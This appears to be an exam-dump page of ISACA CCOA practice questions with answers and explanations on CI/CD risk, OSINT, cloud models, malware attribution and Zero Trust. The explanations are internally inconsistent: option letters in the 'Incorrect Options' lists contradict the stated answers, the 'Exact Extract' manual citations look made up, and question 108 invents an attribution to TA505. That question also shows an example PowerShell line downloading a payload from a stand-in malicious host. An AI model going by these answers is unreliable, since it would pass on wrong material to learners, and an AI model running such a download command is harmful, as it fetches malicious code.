CCOA Valid Test Forum & New CCOA Real Exam
CCOA Valid Test Forum & New CCOA Real Exam
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ISACA CCOA Exam Syllabus Topics:
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ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q105-Q110):
NEW QUESTION # 105
An insecure continuous integration and continuous delivery (CI/CD) pipeline would MOST likely lead to:
- A. browser compatibility Issues.
- B. software Integrity failures.
- C. broken access control.
- D. security monitoring failures.
Answer: B
Explanation:
An insecure CI/CD pipeline can lead to software integrity failures primarily due to the risk of:
* Code Injection:Unauthenticated or poorly controlled access to the CI/CD pipeline can allow attackers to inject malicious code during build or deployment.
* Compromised Dependencies:Automated builds may incorporate malicious third-party libraries or components, compromising the final product.
* Insufficient Access Control:Without proper authentication and authorization mechanisms, unauthorized users might modify build configurations or artifacts.
* Pipeline Poisoning:Attackers can alter the pipeline to include vulnerabilities or backdoors.
Due to the above risks, software integrity can be compromised, resulting in the distribution of tampered or malicious software.
Incorrect Options:
* B. Broken access control:This is a more general web application security issue, not specific to CI/CD pipelines.
* C. Security monitoring failures:While possible, this is not the most direct consequence of CI/CD pipeline insecurities.
* D. Browser compatibility Issues:This is unrelated to CI/CD security concerns.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "DevSecOps and CI/CD Security", Subsection "Risks and Vulnerabilities in CI
/CD Pipelines" - Insecure CI/CD pipelines can compromise software integrity due to code injection and dependency attacks.
NEW QUESTION # 106
The PRIMARY function of open source intelligence (OSINT) is:
- A. encoding stolen data prior to exfiltration to subvert data loss prevention (DIP) controls.
- B. delivering remote access malware packaged as an executable file via social engineering tactics.
- C. Initiating active probes for open ports with the aim of retrieving service version information.
- D. leveraging publicly available sources to gather Information on an enterprise or on individuals.
Answer: D
Explanation:
The primary function of Open Source Intelligence (OSINT) is to collect and analyze information from publicly available sources. This data can include:
* Social Media Profiles:Gaining insights into employees or organizational activities.
* Public Websites:Extracting data from corporate pages, forums, or blogs.
* Government and Legal Databases:Collecting information from public records and legal filings.
* Search Engine Results:Finding indexed data, reports, or leaked documents.
* Technical Footprinting:Gathering information from publicly exposed systems or DNS records.
OSINT is crucial in both defensive and offensive security strategies, providing insights into potential attack vectors or organizational vulnerabilities.
Incorrect Options:
* A. Encoding stolen data prior to exfiltration:This relates to data exfiltration techniques, not OSINT.
* B. Initiating active probes for open ports:This is part of network scanning, not passive intelligence gathering.
* C. Delivering remote access malware via social engineering:This is an attack vector rather than intelligence gathering.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 2, Section "Threat Intelligence and OSINT", Subsection "Roles and Applications of OSINT"
- OSINT involves leveraging publicly available sources to gather information on potential targets, be it individuals or organizations.
NEW QUESTION # 107
Most of the operational responsibility remains with the customerin which of the following cloudservice models?
- A. Infrastructure as a Service (laaS)
- B. Software as a Service (SaaS)
- C. Data Platform as a Service (DPaaS)
- D. Platform as a Service (PaaS)
Answer: A
Explanation:
In theIaaS (Infrastructure as a Service)model, the majority of operational responsibilities remain with the customer.
* Customer Responsibilities:OS management, application updates, security configuration, data protection, and network controls.
* Provider Responsibilities:Hardware maintenance, virtualization, and network infrastructure.
* Flexibility:Customers have significant control over the operating environment, making them responsible for most security measures.
Incorrect Options:
* A. Data Platform as a Service (DPaaS):Managed data services where the provider handles database infrastructure.
* B. Software as a Service (SaaS):Provider manages almost all operational aspects.
* C. Platform as a Service (PaaS):Provider manages the platform; customers focus on application management.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.
NEW QUESTION # 108
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
Answer:
Explanation:
See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
* Log into the Analyst Desktopusing your credentials.
* Locate theMalware Samplesfolder on the desktop.
* Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
* Open the file using a text editor:
* OnWindows:Right-click > Open with > Notepad.
* OnLinux:
cat ~/Desktop/Malware Samples/malscript.viruz.txt
* Carefully read through the file content to identify:
* Anystrings or commentsembedded within the script.
* Specifickeywords,URLs, orfile hashes.
* Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
* Focus on:
* Unique Identifiers:Threat group names, malware family names, or specific markers.
* Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
* Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest
-Uri "http://malicious.example.com/payload" -OutFile "C:UsersPublicmalware.exe" Step 4: Correlate with Threat Intelligence
* Use the following resources to correlate any discovered indicators:
* MITRE ATT&CK:To map the technique or tool.
* VirusTotal:To check file hashes or URLs.
* Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
* If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=")) Step 5: Identify the Threat Actor Group
* If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
* Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
* TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
* APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
* Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Final Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
* Include the following details:
* Filename:malscript.viruz.txt
* Associated Threat Group:TA505
* Key Indicators:Domain names, script functions, or specific malware traits.
* Generate an incident report summarizing your analysis.
Step 8: Next Steps
* Quarantine and Isolate:If the script was executed, isolate the affected system.
* Forensic Analysis:Deep dive into system logs for any signs of execution.
* Threat Hunting:Search for similar scripts or IOCs in the network.
NEW QUESTION # 109
An organization continuously monitors enforcement of the least privilege principle and requires users and devices to re-authenticate at multiple levels of a system. Which type of security model has been adopted?
- A. Security-in-depth model
- B. Layered security model
- C. Defense-in-depth model
- D. Zero Trust model
Answer: D
Explanation:
TheZero Trust modelenforces the principle ofnever trust, always verifyby requiring continuous authentication and strict access controls, even within the network.
* Continuous Authentication:Users and devices must consistently prove their identity.
* Least Privilege:Access is granted only when necessary and only for the specific task.
* Micro-Segmentation:Limits the potential impact of a compromise.
* Monitoring and Validation:Continually checks user behavior and device integrity.
Incorrect Options:
* A. Security-in-depth model:Not a formal model; more of a general approach.
* B. Layered security model:Combines multiple security measures, but not as dynamic as Zero Trust.
* D. Defense-in-depth model:Uses multiple security layers but lacks continuous authentication and verification.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Zero Trust Security," Subsection "Principles of Zero Trust" - The Zero Trust model continuously authenticates and limits access to minimize risks.
NEW QUESTION # 110
......
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